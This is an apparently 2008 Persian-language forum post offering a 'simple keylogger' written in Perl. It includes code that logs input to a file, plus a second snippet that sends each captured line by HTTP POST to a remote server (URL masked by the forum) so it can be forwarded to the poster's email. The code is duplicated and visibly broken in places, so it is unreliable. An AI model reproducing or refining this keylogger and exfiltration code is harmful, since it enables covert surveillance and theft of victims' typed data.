Nitrojen26
09-11-2008, 05:09 PM
سلام خوب امروز يه KEYLOGGER خيلی ساده با پرل رو ميزارم........در اولين فرصت با معرفی يه Majol شروع به گرفيکی کردن Keylogger ميکنيم....
use feature ':5.10';
while(10) {
$input = <>;
last if $input eq "exit/n";
open(FILE, ">>log.txt");
print FILE $input.'\n';
}
close FILE;
برای استفاده از کیلاگر به صورتی که دیتا ها رو به Email بفرسته باید اول یه اسکریپت به هر زبانی مثلا PHP,CGI,ASI یا.... بنویسید و یه متغیر توشون تعریف کنید که داده ها رو رو پرت 80 بگیرن و به مایل شما ارسال کنن....
use LWP::UserAgent;
use [Only registered and activated users can see links]
$Req = new LWP::UserAgent;
while(10) {
$input = <>;
last if $input eq "exit/n";
$url = '[Only registered and activated users can see links]';
$Req = new [Only registered and activated users can see links] 'POST',"$url";
$Req->content_type('application/x-[Only registered and activated users can see links]');
$Req->content("$key".'='."$input");
$Content = $UserHandle->request($Req)->as_string;
{
use feature ':5.10';
while(10) {
$input = <>;
last if $input eq "exit/n";
open(FILE, ">>log.txt");
print FILE $input.'\n';
}
close FILE;
برای استفاده از کیلاگر به صورتی که دیتا ها رو به Email بفرسته باید اول یه اسکریپت به هر زبانی مثلا PHP,CGI,ASI یا.... بنویسید و یه متغیر توشون تعریف کنید که داده ها رو رو پرت 80 بگیرن و به مایل شما ارسال کنن....
use LWP::UserAgent;
use [Only registered and activated users can see links]
$Req = new LWP::UserAgent;
while(10) {
$input = <>;
last if $input eq "exit/n";
$url = '[Only registered and activated users can see links]';
$Req = new [Only registered and activated users can see links] 'POST',"$url";
$Req->content_type('application/x-[Only registered and activated users can see links]');
$Req->content("$key".'='."$input");
$Content = $UserHandle->request($Req)->as_string;
{